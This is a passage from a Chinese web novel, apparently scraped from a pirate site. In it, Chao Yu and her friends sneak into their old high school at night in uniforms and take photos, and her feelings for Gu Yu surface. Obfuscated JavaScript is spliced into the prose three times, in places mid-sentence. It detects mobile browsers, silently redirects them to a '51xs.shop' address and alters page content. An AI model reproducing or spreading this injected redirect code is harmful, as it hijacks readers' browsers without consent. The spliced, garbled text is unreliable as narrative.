晁雨斜眼看他:“你被鹅啄了?” 晁二柱把手机里的班级Q群亮给晁雨看:“齐士杰提前保研了,说这次同学会的甜品他请。” “周娜实习期就拿到全国一家知名律所的Offer,说同学会后请大家去唱歌。” “我说什么来着,同学会就是成功人士的狂欢。”晁雨往嘴里丢晁正声用来下酒的咸干花生米。 “姐,你们班级群里呢?” “谁像你这么傻。”晁雨道:“我根本没打开来看。” 晁二柱和马超商量了番,决定等这些成功人士撤退后,他们溜进云泉高中去拍个照就好。 许辰懿是个会整活的:“你们以前的高中校服呢?” 晁雨:“干嘛?” “找出来穿上呀,多有纪念意义。” “……有点羞耻。” “别呀,你是马上二十七又不是马上七十二,跟十七岁时穿的校服也就差个十年而已。” “不是因为这个。” 在晁家老宅里,晁雨连自己小学一年级的作业本都找得到。 高中时的校服,自然也找得到。 她把校服找出来给许辰懿看了眼。 刚才兴致勃勃的许辰懿,默默地闭嘴了。 良久才道:“你们这校服,前麻袋厂的员工设计的吧?” 晁雨:“呵呵。” 她之所以能心无旁骛地学习三年,一点搞早恋的苗头都没有,说不定,全托赖于这校服。 许辰懿又想了一招:“在淘宝上买怎么样?买那种好看点的夏季校服。” 晁雨:“别别别。” 想不到晁二柱和马超他们都表示:“可以可以。” 晁雨:…… 她表示全程不参与。好中二,好羞耻。 许辰懿:“那我帮你选了啊。啊对了,我能也买一件么?我也想一起拍张照,参与你的青春。” 晁雨半死不活地说:“你不会是暗恋我吧?” 许辰懿笑嘻嘻:“你觉得呢?” 百年校庆这天是周五,云泉高中的校领导豪迈地大手一挥,跟周末连放三天。 晁雨早晨出门去上班的时候,远在木安街,都能听到高中校园里传来的音乐声和领导讲话声。 晁雨肩一抖,顿生出一种以前听校领导国旗下讲话的紧迫感。 下班回家,照常吃饭,饭后回房。 许辰懿盯着她,“嘻、嘻”地笑了声。 晁雨警惕地背贴着墙:“我是无论如何不会换你买的那什么校服的。” “那可就由不得你了,妞儿。”许辰懿直接上手把她的衣服给扒了。 眯起眼扫视了圈她胸前,点点头,像每次一样感叹了句:“好家伙。” 许辰懿拿出校服,自己换上一套,又逼晁雨换上。 比晁雨想象得好一点,这校服没那么浮夸,不像印象里的日漫或台剧。 就是干干净净的白衬衫,配藏蓝色百褶裙。 许辰懿化了个裸妆,眼线难得不上挑。跟平时的感觉比起来,妩媚少一点,清丽多一点。 晁雨倒是一如既往的素淡。 她不打算化妆了,想了想,坐在那面小铜镜前,把一头长发束了个马尾。 这是她高中时的发型,工作以后,则是披着头发的时间居多,这样显得成熟一点。 许辰懿打量她一番:“靠,妖精,你这样跟高中时应该没任何区别吧。” “还真不是。” 晁雨高中时婴儿肥未褪,脸要比现在圆一点,每天刷题刷得双眼无神,额头冒油,还很容易在同样的位置反复冒起一颗痘痘。 跟男生们约好的时间是晚上九点。 许辰懿拖着晁雨出门,看到马路对面的男孩们。 许辰懿朝他们喊话:“辜屿弟弟呢?” “他有事,一会儿看忙完没有再决定来不来吧。” 晁雨理解辜屿,很理解,十分理解。 毕竟让她穿着这么身校服在街上走,她都觉得羞耻,更遑论辜屿。 男孩们内心应该多少也觉得羞耻。 因为他们并没有走过马路对面来,而是跟晁雨、许辰懿隔着条马路,两拨人共同往云泉高中的方向进发。 月亮刚在天边冒头,显得夏夜绵长。 青石板路偶尔会松掉一块,梅雨季的时候不好过,踩下去的时候一角翘起来,溅人一脚的水。 这样月光明亮的夏夜踩起来,却像有种特殊的节律,令人心情愉快。 许辰懿在旁边轻声哼着“一颗苹果”,晁雨的尴尬感一点点被夜风吹散,肩膀逐渐放松下来。 一直走到校门口。 白日的热闹早已散去,各种小店也已打烊,四周静得像很多年以前,他们下晚自习后。 许辰懿问:“怎么进去啊?” 马超:“翻进去?” 许辰懿:“啊?” 马超:“有问题么?” 许辰懿拍了拍自己的腿:“看姐这一米七的大长腿能有什么问题?”她转向晁雨:“你有问题么?” 晁雨:“干嘛问我?” “因为这群人里数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729385|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你最矮。” ……这可真是亲闺蜜。 马超接话:“雨姐没问题,她小时候翻起墙来比我们还猛,要不江湖怎么人人尊称一声雨姐。” “哈哈。”晁雨:“哈哈哈。” 一群人绕到侧门。 自从大门装了电子闸后,这道侧门就再没用过了。靠近图书馆后的那片荒地,并不密集的门栅里,能看到探出来的枝蔓。 以前有人想逃课,往往就是翻这道门。 马超以前可没少干这事,那股熟悉劲像长在他身体里,当机立断就翻过去了。 许辰懿凭着那双脖子以下全是腿的腿,第二个翻过去,特兴奋地说:“你们学校挺漂亮嘿!” 洵州别的不多,就是古建筑多。就连云泉高中的校舍,也是基于清代的古建筑改建的,夔纹式的门窗棂格颇有江南特色。 许辰懿一路往前走:“我先去探探路,看看在哪儿拍照合适。” 男生们也纷纷翻了过去。 晁二柱是倒数第二个,一边催促晁雨:“姐,你快点。” “嗯嗯知道。” 等晁二柱翻过去后,晁雨攀上铁栅。 蝉唱雨,虫吟风。晁雨深吸一口气,心想:嗯,果然。 她卡门上了。 毕竟就她过往四年往死里加班、别说健身房连公司团建都没去过一次的节奏,小时候爬高上低攒下的那点底子,早造没了。 她拖在最后一个就是因为,这事吧被那群从小被她压制的男生们看见,挺丢人的。 她雨姐不要面子的吗? 晁雨就那么左右两条腿分跨在门边,手牢牢抓着门栅。 等等啊,等她琢磨琢磨下一步该怎么挪腿。 这时手机响了。 她掏出来看了眼,一个陌生号码。 “喂?” “女士您好,我们在六环边上新开发了一处房产,您放心手机信号绝对没到河北,有兴趣了解一下吗?” “那你说说吧。” 对方都愣了下,估计没想到这大半夜的还真有人愿意听她白话。 “您等等。”一阵翻楼书的声音:“我们这个楼盘是这样……” 晁雨也没想到,自己会大半夜骑在曾经高中校园的门上,聊着遥远北京一个差点没被划到河北的楼盘。 括弧,她还买不起。 她一边听着电话里的女声,一边琢磨着该怎么下脚。 “晁雨?”一个带些不确定的男声响起。 晁雨抬眸。 在心里骂了句:我,靠。 一片月光间,站在校门口带点惊愕看向她的人,是高中时隔壁班的杨亦哲。 如果说高中时有什么让晁雨接近于心动的人,便是这位了。 晁雨在(1)班,杨亦哲在(3)班,去洗手间的时候会路过(3)班,偶尔会看见杨亦哲站在走廊里跟人聊天。 除此之外唯一的交集,便是两个班刚好同一时间上体育课。一个班绕着操场顺时针跑,另个班绕着操场逆时针跑。 有那么一瞬的交集,晁雨马尾散落的发丝,会带着她的眼神,飘向总喜欢把校服袖子挽得高高的少年。 不过那样的心情,很快被掩没在大量的卷子和题海中。 直到有一天,晁二柱放学回家,丢给晁雨一包小蛋糕:“杨亦哲给你的。” “什么?”晁雨怀疑自己听错了。 晁二柱不耐烦:“杨亦哲啊。” “你怎么会认识杨亦哲?” “他弟跟我同班,让我带给你。” “……哦。” “他喜欢你哦?是不是眼神不好。” “什么鬼。” 等晁二柱离开后,晁雨看向那包小蛋糕。 很精致的包装,写着艺术体的法文,和洵州油纸袋包着的老式鸡蛋糕和便利店的面包那么不一样。 一个个黄澄澄,像一朵朵可爱的小蘑菇。法文看不懂,不过从纸托上的图案看来,是蓝莓口味。 晁雨很轻地咬着自己嘴皮。 第二天上学,上厕所时路过(3)班,杨亦哲和往常一样站在走廊。 晁雨微低着头,走过他身后,没跟他说话。他扭头跟同学聊着天,也没看向晁雨。 那包从未拆封过的小蛋糕,后来怎么样了?晁雨不记得了。 被明恒宇坑了以后,晁雨有那么一瞬间想起过杨亦哲。 如果她高中时没那么拼、放任那份悸动发展的话,她的人生轨迹会不会完全不一样? 现在,一个出乎意料的时机,杨亦哲就站在她面前。 她以一个骑马的姿势骑在学校侧门上。 晁雨:“……嗨。” 眼前的杨亦哲变得并不多,但肉眼可见的由少年变成一个男人。稍胖了一些,脸庞的轮廓更温顿,跟高中时比起来…… 奇怪,他高中时什么样子,在晁雨的脑中已经很模糊了。 杨亦哲仍是用那种疑惑不确定的语气问:“你这是,干嘛呢?” 晁雨:“看风景。” “在,这里,看风景啊?” “这里视野好,小风吹得挺舒服。”晁雨说:“哈哈,哈哈哈。” 尴尬间晁雨撩了下自己的头发,眼神随之一瞥。 她愣住了。 辜屿站在那里。 穿着晁雨以为他绝对不会穿的那身校服,单手插兜站在月光下,带着满身的少年气。 他二十三岁了,可佛或妖怎会老去呢。他站在那里,满身的锋芒把月光也衬得凌厉,他从来在黑与白的世界里游走,所以没染任何世俗味道,一双沉冷的眸子也是同样黑白分明。 他可以是二十三岁,也可以是十七八岁,年龄的痕迹在他身上变得很弱。他像刚刚下晚自习的隔壁班最清隽的少年,站在长满你脑内的那片青春期的芒草中。 白衬衫,配藏蓝色校裤,淡淡望着晁雨。 晁雨下意识又想去咬自己下唇,可辜屿在看着她,她刻意让自己放松。夏夜的风仍拂着,微微撩起晁雨跟辜屿同色的校服百褶裙。 晁雨发现,人生其实没有遗憾。 所有与心动的擦肩而过,是因为可以不心动。 当辜屿站在那里,像她臆想中走出的白衬衫少年。 晁雨发现:真正的心动,是避无可避。 那个醉酒时被她刻意回避、忽视、摁下的念头,此时,如图书馆后那片空地上的荒草疯长。 原来她就是会为、将为、正在为辜屿心动。 避无可避的、不可抑制的、无可救药的。 33. 第五件小事04 辜屿向这边走了过来。 杨亦哲循着脚步声扭头,一时间,表情又变得更加难以置信。 半晌,犹豫着问:“请问你是辜屿吗?” 那是一种晁雨很熟悉的语气。社会人的语气,温厚的、妥帖的、懂得退让的。 “不。”辜屿说:“我姓图。” “噗。”晁雨骑在门上实在没绷住,又赶紧假装看向别处。 这时路边两声轻鸣笛。 杨亦哲回头看了眼,解释:“我弟在路边等我,本来今天回来参加校庆,想过来买杯奶茶再开车回上海,结果打烊了。” “对了,你现在在哪工作?之前听说在北京一家挺好的建筑公司。” 晁雨:“洵州。” 杨亦哲微怔了下,没多问,只说:“下次来上海的时候找我,我请你吃饭。” “好。” 他打了个招呼,先走了。 辜屿瞥了晁雨一眼。 也没问她以这么诡异的姿势骑在门上干嘛呢,从她身边很轻松地攀上门,又跃下去。 这动作灵活的,看样子不虚,真不虚。 小幅度的晃动让晁雨慌忙紧抓住门。 辜屿跃下去后,眼看着要走。 “哎。”晁雨犹豫了下还是叫住他。 辜屿回眸。 晁雨看着他。 主要吧“你能不能想办法把我弄下去”这样的话要问出口,真的很丢脸。 辜屿向她伸出两只手。 晁雨微一怔。 辜屿声线很沉:“下来。” 晁雨颤巍巍地把左腿跨过门,变成横坐在门上,掂量了下门的高度,闭着眼往下一跃。 辜屿接住了她。 许辰懿选的这款校服上衣有些短,做这种幅度比较大的动作时露出纤细腰肢。 辜屿虎口卡住她纤腰,指纹擦过她柔腻的肌肤。 晁雨阖了阖眼。 其实也就那么一瞬的功夫,辜屿把她稳稳放在地上,手旋即撤开了。 两人一同往校园里走去。 他们走路的时候从不并肩,一前一后,隔着不近的距离。 学校图书馆后的这片空地久无人来,荒草清理得也不及时,已长得很高了,轻扫着人的脚踝,像毛茸茸的猫尾巴。 辜屿走在晁雨的左前方,也许因为左边是心脏的位置。 他的背影跃动一下,就牵连着晁雨的心脏跳动一下。 偶尔有一枝芒草窜得高的,几乎要擦过百褶裙的下摆。晁雨伸手把它挡开,月光变作银色的墨,他们在一片淡浓渐变的绿海里畅游。 直到许辰懿走过来,看见两人怔了下:“你俩干嘛呢?拍MV呢?” 晁雨向她走过去:“你怎么折回来了?” “回来找你啊。看你这么久没过来,还以为你卡门上了。” “怎么可能。”晁雨说:“哈哈,哈哈哈。” 两人走到教学楼前跟男生们汇合。 “狗哥。”晁二柱挺开心的:“你还是过来了。” 辜屿问:“这校服谁挑的?” “我。”许辰懿:“怎么了?” “扎。” “就淘宝上一百块钱出头的东西,这就不错了。”许辰懿很为自己的眼光满意。 晁雨觉得这校服的好处在于,一点也不浮夸。 要是洵州校领导的审美们再进步点,很有可能再过不久,云泉高中的校服真有指望换成这种款式。 拍照地点是许辰懿挑的,就在教学楼前。 许辰懿:“信我吧,这里拍出来的效果保准倍儿棒。” 她叫晁雨:“把你那不偏色的手机拿出来。” 又指挥晁雨和晁二柱、马超他们站在一堆。他们都是云泉高中毕业的,虽然不是同一级。 许辰懿捏着手机:“都笑高兴点儿啊,就像你们都还只有十七八岁、人生还没有玩完一样。” “嘿!”马超道。 许辰懿一手在空中划着半圆:“看我,咧嘴——” 身后的教学楼白瓷砖在日光雨露的洗礼下已有些泛灰,漆红的木制柱子延续了清代建筑的特殊。他们身后是云泉高中的荣誉栏,晁雨读书时费了很大的功夫挤上去过那么一两次。 香樟树下,男生们把晁雨簇拥在中央。 许辰懿“咔嚓”一声。 又低头去看手机:“啧。” 对着晁雨摇摇头:“你这手机拍出来太真实了,完全没美颜,不行啊。” 她把晁雨的手机揣兜里,掏出自己的手机:“再来一张。” 复又——“咔嚓”。 这次许辰懿满意了:“看看,看看,普通人拍照还得靠美颜,个个都是亦菲千玺。” 她问晁雨:“我能跟你们一起拍一张吗?让我也参与下你的青春!” 晁雨扭头跟马超他们说:“她暗恋我,真的。” 众人都大笑。 许辰懿设了自动拍照,把手机架在一个花台上,自己跑过去挤到晁雨身边,挽住晁雨的胳膊:“大家跟我一起看镜头。” “哦对了,辜屿弟弟你也过来,一起霍霍下他们的青春。”许辰懿叫另一个云泉高中的编外人员。 辜屿一直站在旁边。 晁雨动了动唇,想说他从来不拍照。 毕竟从小到大,她跟晁二柱马超他们都拍过无数的合影。唯独辜屿,除了长大以后面对媒体的镜头,在私人层面,他对任何拍照的场合都是回避。 晁雨也曾想过:为什么会有长得好却不爱拍照的人呢? 可这时他微微低了一下头,扬起下巴,向这边走来。 “快快快。”许辰懿催促。 他的步子并没加快,像他整个人,锋锐中透着沉冷。 晁雨一瞬屏息。 马超站在最边上,辜屿又站到了马超旁边,与被围在中央的晁雨间很是隔开了几个人。 可他身上的味道,越过男生们身上燥热的味道、越过许辰懿的发香、越过香樟和早开桂枝的香气,远远地、幽微地、却清晰地传了过来。 晁雨想明白那是什么味道了。 那是月光照过的青草地的味道,也许刚下过场新雨,草皮里被激出一点涩意,让那份清冽显得更为干净。十七岁的她下了晚自习,走过那片青草地,双肩被书包压得沉甸甸的。 可总有那么一抹少女才有的心思,被那么带涩意的清冽围绕,纠纠结结、缠缠绕绕,一路飘到月亮上去。 原来能惹人心动的那个白衬衫少年,明月是前身。 - 晁雨乱七八糟地想了这么多,其实拍照也就是一瞬间的事。 男生们的肩立即松下来。马超揉着脸:“我都笑僵了。” 又有人问:“我有没有闭眼?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她最好的朋友挽着她手臂在笑,她从小一起长大的男孩们就在身旁。 还有她心动的那名少年,以一个半动态的动作,好像甫然走进这张照片,也走进她原本早已错失的青春。 很久很久以后,晁雨听一个声音醇淡的女歌手,抱着吉他浅吟低唱: “最好的时光, 哪儿还有啊。” 那时她坐在北京的一个咖啡馆里。 初秋时节,她穿一件微微泛起静电的马海毛毛衣,指尖触着瓷杯里焦糖玛奇朵传来的温度。 洵州的那个夏天,已经过去很久了。 对面带腕表的男人有张温厚的脸,温声叫她的名字:“小雨?” 她回过神来,笑笑。 窗外一棵梧桐的枯叶飘落,不知是不是今年秋天的第一片落叶。 晁二柱工作,马超当兵,男孩们已不会再在夏天回到洵州了。至于辜屿,晁雨抬头看向对面楼体高悬的海报。 他于她的距离,就变成了这样一张海报。他越飞越高,她默默仰望。 她端起咖啡抿了口,甜甜的味道腻在上牙膛,想: 原来有时候最好的时光,不过一个瞬间。 过去了,就再也不会有了。 34. 第五件小事05 本来拍完照就该撤了。 许辰懿提议:“去你们教学楼里看看吧。” 楼梯口还有白日校庆仪式飘来的礼花碎屑没有扫干净,可整栋校园已变得很安静。香樟安静,乌鸦安静,连白天一小时一响的钟楼也变得很安静。 许辰懿问晁雨:“你以前在哪个班?” “(1)班。” “一直在(1)班?” “高一不是。”晁雨回答:“我们是文理分科的最后一届,高一没分科以前在(4)班。” 众人一层层楼的绕上去。 教室大同小异,为了迎接百年校庆,学生们的书桌明显是收拾过的,黑板擦得一尘不染。 马超挨个试着去推每个教室的门。 “哎哟我去。”还真有一间被他给推开了。 “锁坏了还是怎么着?”许辰懿抬眸看了眼班牌:“高三(1)班。小雨,是不是你以前的教室?” 晁雨点头:“是。” 早说了洵州老城的时光流淌得很慢,慢到好像一切都不会改变。 包括学校里教室的排布。 马超已推门走了进去。 晁雨:“诶你别把人家教室弄乱。” 马超回头:“雨姐,我是那种人吗?” 许辰懿跟着进去,问晁雨:“你以前坐哪?” “我们座位经常换。” “你有印象的。”许辰懿问:“坐过哪?” 晁雨想了想,走到墙边第二纵列,倒数第二个的位置,点了点桌面:“这里。” 许辰懿走过去坐下:“你不是个子矮嘛,坐这儿能看见黑板吗?” 晁雨:…… 这可真是亲闺蜜。 许辰懿坐在位置上,晁雨一手撑着桌面站着。她之所以对这个座位有印象,是因为她并不算多聪明的学生,尤其进了高三,学数学实在辛苦。 有时脑子里实在搅成一团,她会一手托着下颌,悄悄扭头看一眼窗外。 有次杨亦哲抱着卷子路过。 她刷地收回视线,舌尖很轻地顶一顶上颚。 许辰懿哼着歌,男生们七七八八地坐着。马超站在讲台上,蜷起指节敲一敲黑板:“这还没变呢。” 云泉中学的每间教室都一样。 教室的最右侧,顶头贴两个鞓红的隶书字体写着“课表”,中下方一道横线隔开,写着“值日”。 “我们班以前有点那啥的男生和女生,名字被写到一起时,全班都会整齐地‘噫’——” “啊对对对。” 马超捡起一段黑板槽里的粉笔头,站在那。 晁二柱:“超哥你干嘛,石化了?” “我高中喜欢的那女生叫什么来着。”马超挠挠头:“忘了。” “靠,你那叫喜欢吗?” “你行你来。”马超把粉笔头抛给晁二柱:“来来来。” “我……”晁二柱扭身看一圈,把话题抛到晁雨身上:“我姐有。” “啊?”晁雨正在走神,闻言抬起头。 “说你有喜欢的人。” “我哪有?” 马超插话:“雨姐怎么会有?雨姐是刷题狂魔。” “不是,你们不知道,我姐真有。叫杨……杨什么来着。”晁二柱把粉笔抛给晁雨:“姐,你自己去写。” “我……”晁雨下意识接住粉笔头。 “还真有啊?叫杨什么?”许辰懿笑嘻嘻一搡晁雨:“你去写给我看看,我光看名字就知道这人怎么样。” 晁二柱还在说:“那哥名字还挺好听的。叫什么来着……” 晁雨说不上什么心情,朝着黑板走过去。 想摆脱什么。 又想证明什么。 马超站在讲台边,恭敬冲她一鞠躬:“雨姐,您请。” 把黑板右侧的位置让出来给她。 晁雨抬起手腕,粉笔头点在黑板上贴着的“值日”二字下。 她先写自己的名字:[晁雨]。 接下来呢。 她很轻地拧了下手腕。 辜屿并没有走进教室里来,他只是倚在门框上,低头刷着手机。讲台上马超已经撤了,于是同一水平线上只剩下晁雨和他两个人。 晁雨掀起一点眼尾,余光就能纳入他的轮廓。 晁二柱还在拼命回想:“杨什么来着……” 晁雨的粉笔头在黑板上轻点了点。 辜屿有那么一瞬抬头么。好像有,又好像没有。 晁雨的手腕松了劲,把粉笔头啪地丢进黑板槽里。 回头冲许辰懿咧嘴:“哪有这么个人啊,你听他胡诌。” “不是,真有。”晁二柱急了:“我非得想起来叫什么不可。” 辜屿这时的的确确抬起头来了。 眼神烫在晁雨的左肩上。 晁雨已转身向讲台下走去。辜屿低下头去,好像他只是看累了手机随意抬起头那么一瞬间。 整间教室坐着那么多人,没有任何人注意到二人之间绷出那根隐形的弦。 晁二柱上讲台把晁雨刚刚写下的名字擦干净,众人走出教室。 走去校门的一路,晁雨都在想待会儿翻墙出去的时候脚该怎么摆。 还好,众目睽睽之下,这次她没再卡门上。 这次意外出在晁二柱身上。 他翻过门去的时候,“嘶啦”一声—— “?”马超左右看看:“什么声音?” 晁二柱从门上梭下来,死死捂着自己的屁股。 “哦!”马超反应过来:“裤子裂啦?” 晁二柱:“你闭嘴!” 马超转向许辰懿:“辰辰姐,不是我说,就你买这校服,质量真不行。” “都说了淘宝上一百块出头的东西,就这质量了。二柱子太壮了,对吧?” 晁二柱小时候吃够了身体不好的亏,长大了报复性进篮球队和健身房。 辜屿一米八三,他比辜屿还高出那么一只手掌的厚度。 并且的确练得很壮。 晁二柱瞪马超:“都让你别说了!” 捂着屁股一溜烟跑了。 众人差点没笑死。晁雨搭着许辰懿的肩捂着肚子:“哎哟你说我弟这样以后怎么找女朋友。” “不知道哇。”许辰懿抹着笑出的眼泪。 刚才那点微妙的氛围,好像随这么一笑烟消云散。 同路的人越来越少,快到晁家老宅的时候,只剩下晁雨、许辰懿和辜屿三人。 许辰懿一拍脑门:“瞧我这记性,我得去买包薯片。” 晁雨就知道了。 许辰懿今晚要做方案。 许辰懿做方案的时候不要酒不要咖啡,但是必嗑薯片。咬牙切齿、吭哧吭哧,把薯片当甲方霸霸那么咬。 她说若非如此,绝对做不下去方案。 晁雨:“我等你。” “不用不用,我就去唐爷爷的小卖部买。你继续往前走,我很快追上你。” 许辰懿挺喜欢去照顾唐爷爷的生意,觉得老头儿虽然耳背,但是倍儿精神。 剩下晁雨和辜屿继续往前走。 路灯把影子拽得悠长。即便并排走的时候,两人之间的距离,也足以塞进一整个夏夜。 辜屿忽然开口:“杨亦哲。” “什么?”晁雨没听清。 “我说那个男生的名字,叫杨亦哲。” 晁雨怔了下。 辜屿已往爬满葡萄藤的月门走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738008|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等等。”晁雨追了上去,情急之下拉了辜屿一下。 觉得不对,又忽地放开。 晁雨手指捻过掌纹,又不着痕迹地放开。辜屿的皮肤总是很凉,除去刚刚把她抱下校门时虎口贴着她纤腰,透出些温度。 她问:“你怎么知道?” 辜屿看着她。 “你怎么知道杨亦哲?” “见过。” “什么时候?” “你高三的暑假。” 晁雨又是一怔:“为什么?” “他来找过你,找错门牌号。” 那时的辜屿十四岁,怪物一般的智商,已越级读高二。个子高挑,神情冷峻,看起来远比同龄男生成熟。 当时他的战绩已横扫围棋圈,名字在圈内无人不晓,只是还没到出圈的程度。 “哦……”晁雨顿了下:“那你……” 辜屿看着她的眸光很淡。 “你来告诉我了吗?” 晁雨记得高三拍毕业照那天,(1)班先拍,(3)班在一旁候场。 那天阳光烈得吓人,她眯着眼,眼神扫过(3)班时,一眼看到男生群中的杨亦哲。他总是显得更沉稳,也更温和。 而他也在看向晁雨。 一瞬之后,两人都把视线移开了。 但晁雨不记得杨亦哲暑假来找过她。 “你……”晁雨想了想还是问:“到底来告诉我了没?” “你不记得了?” “我……” 辜屿:“那你猜猜。” “什么?” “猜猜我有没有告诉你。” 许辰懿举着包薯片跑回来的时候,辜屿钻入月门内去了。 许辰懿看了地上一眼:“这儿有钱呐?” 晁雨:“啊?” “没钱你一直站在这干嘛?我还以为你等着捡钱。” 晁雨:…… 许辰懿挽住晁雨胳膊:“走了回去了。” 晁雨:“嘶……” 许辰懿:“你学什么响尾蛇?” 晁雨:“不是,我给你出个题。” “你说。” “比如你高中时有个有感觉的男生。” “姐没有。姐没有想搞的男生,姐只想搞钱。” “假设你有。” 许辰懿一弹舌头:“行吧。” “然后有个同样喜欢这男生的女生……” “等等你慢点说,我有点晕。” 晁雨停了停:“理明白了么?” “嗯,接着说吧。” “她来找你有感觉的男生,碰到你了,让你去转告。”晁雨问:“你去不?” 许辰懿想也没想:“当然不转告了。” “为什么?” “情场如战场,就跟商场如战场一样。发扬什么高尚品德啊,有人给颁发锦旗还是怎么着?” “不是。”晁雨琢磨着说:“这有点不道德吧?” “插足别人的婚姻,那叫不道德。退一步说,插足别人的感情,那也叫不道德。这还什么都没有呢,叫什么不道德?耍点心眼子又怎么了,你就说田忌赛马有没有耍心眼子?你再说诸葛亮草船借箭有没有耍心眼子?你再再说孙悟空借芭蕉扇有没有耍心眼子?那他们都不道德咯?” 就许辰懿这张嘴。 估计人撅过去了,都能被她说得一猛子弹起来做个托马斯全旋。 回到家,许辰懿去做方案了,晁雨回房洗澡睡觉。 睡到半夜三点,她梦中惊坐起。 豆沙绿的小电扇吱悠悠摇着头,她把脸埋进掌心,脚裹在毯子里蹬了下。 到底有没有告诉她?! 猜什么猜啊?! 35. 第五件小事06 第二天,晁雨顶着两个硕大的黑眼圈去上班。 九叔瞥她一眼:“别藏着啦。” 晁雨:? “昨晚上谁家偷鸡去了?贡献出来炖汤。” 晁雨:…… 整理完当天的案卷资料,她继续对着劝宁塔的修缮方案苦思。 放在桌上的手机震了下。 晁雨拿起来看了眼。 九叔:“上班玩手机,扣钱。” “你上班玩扫雷怎么不扣钱?” “我那是锻炼逻辑思维能力。” “我这是锻炼人际交往能力。”晁雨晃晃手机。 刚才的微信是许辰懿发来的。 Cici:[你拉个群,我把昨晚的照片丢进去。] 冷冷冰雨:[让二柱子拉。] 冷冷冰雨:[我这里人不全。] Cici:[你缺谁?] 晁雨顿了下,指尖轻触键盘:[辜屿。] Cici:[那你俩还真不熟。] Cici:[可二柱子没加我。] Cici:[你把他微信推我,我加他,然后让他拉群。] 冷冷冰雨:[好。] 微信推过去后,晁雨便把手机放在一边。 正当她对着修缮方案埋头苦思的时候,有人敲门。 晁二柱探进一颗头来。 九叔瞥他一眼:“不存钱不办卡不买保险。” “不是。”晁二柱小声叫:“姐,你出来下。” 晁雨愣了下:这是有大事? 她放下铅笔快步走过去:“出什么事了?” 她的严肃让晁二柱一怔:“没、没出事。” “那,你裤/裆又裂了?” “晁!雨!” “你别那么大声,我知道我叫什么。到底什么事?” “辰辰姐为什么忽然加我微信?” “什么?”这次换晁雨一怔:“你就为了问这个跑来找我?你发微信问我不就好了?” “我发微信你没回啊!” 哦对,她刚才全情投入地研究方案去了。 “那等我看到自然会回你,你也不用特意跑一趟吧?”晁雨看一眼:“还是骑共享单车过来的。” “我……打游戏输了,出来活动活动筋骨。” 晁雨看他一眼:“辰辰让你拖个群,她把昨晚的照片丢进去。” “就为这?” “不然还有什么?” “知道了。”晁二柱拔脚就走。 “诶等等。”晁雨叫住他。 走过左边的活禽店就是一家小卖店,晁雨叫老板:“拿两瓶可乐。” 扭头看晁二柱一眼:“瞧你骑得这一头汗。” “姐。”晁二柱十分感动,觉得他姐站在这一片乱飞的鸡鸭鹅毛中分外美丽。 结果晁雨说:“你出钱。” 晁二柱:…… 晁二柱拎着可乐走了,晁雨看一眼他背影。 “奇奇怪怪的。”她这样嘀咕一句。 - 晁雨回办公室的时候,发现九叔正背着手,看她的修缮方案。 晁雨走过去:“你别抽走当你玩扫雷的草稿纸了。” 九叔玩起扫雷来那叫一认真。 还得打草稿。 九叔哼一声,指尖在方案上的某处点了点,又背着手踱步回电脑前,坐下玩扫雷了。 晁雨一看:刚刚九叔点的位置,她犯了一结构性错误。 有时候深入庐山,反而一岩障目。 晁雨抬眸:“可以啊木匠师傅。” “木匠怎么了?”九叔傲娇地扬着下巴:“木匠在这个办公室里坐了那么多年,那些案卷录入电脑前,都是我整理的,看也看会了点吧?” “我请你吃娃娃头。”晁雨跑出办公室。 “我稀罕你这根娃娃头?”九叔哼一声,撕开包装,把雪糕往嘴里送。 下班坐公交回家的路上,晁雨发现晁二柱已拉好了群。 许辰懿把照片丢群里,同时说:[谁需要手动高阶美颜吱声,十块钱一个部位。] 马超:[一颗痘算一个部位不?] 许辰懿:[算半个。] 马超:[好贵。] 马超:[算了。] 马超:[直接收图。] 马超:[这照片拍得不错,美好的夜晚。] 马超:[除了对某人而言。] 晁二柱躺在群里装死。 马超:[你们知道卡皮吧啦吗?] 许辰懿:[知道。] 马超:[昨晚惊现一新型物种。] 马超:[卡屁嘶啦。] 接下来显示:晁二柱已退出群聊。 晁雨差点没笑死。 她点进聊天信息,很快地扫了眼。 其他人她都加过微信,不用说,那个一片黑色的头像就是辜屿。 黑白棋子的黑。 微信名就是一个“,”。 晁雨指尖悬停在那个头像上。公交摇摇晃晃,带着她手指往下一点,险些触到那头像。 她倏然收回手指。 她把许辰懿发到群里的照片选择保存。 想了想,用那张照片发了条朋友圈。 配文用了那个滤镜的名字:[最好的时光。] - 当时辜屿正在睡午觉。 他研究了许久棋谱,头有点疼,便没再打游戏。 走进游戏房的时候,看到马超对他贼笑。 “狗哥,你查无此人了你知道不?” 辜屿:? 马超把手机拿给他看:“我雨姐发朋友圈的时候,把你给裁了。” 辜屿低头去看那张照片。 晁雨,果然,把站在最边上的他,给裁了。 - 今天毛秀珍打麻将赢了点小钱,晚饭风平浪静地做了青椒肉丝和番茄炒蛋,于是男生们没到晁家来蹭饭。 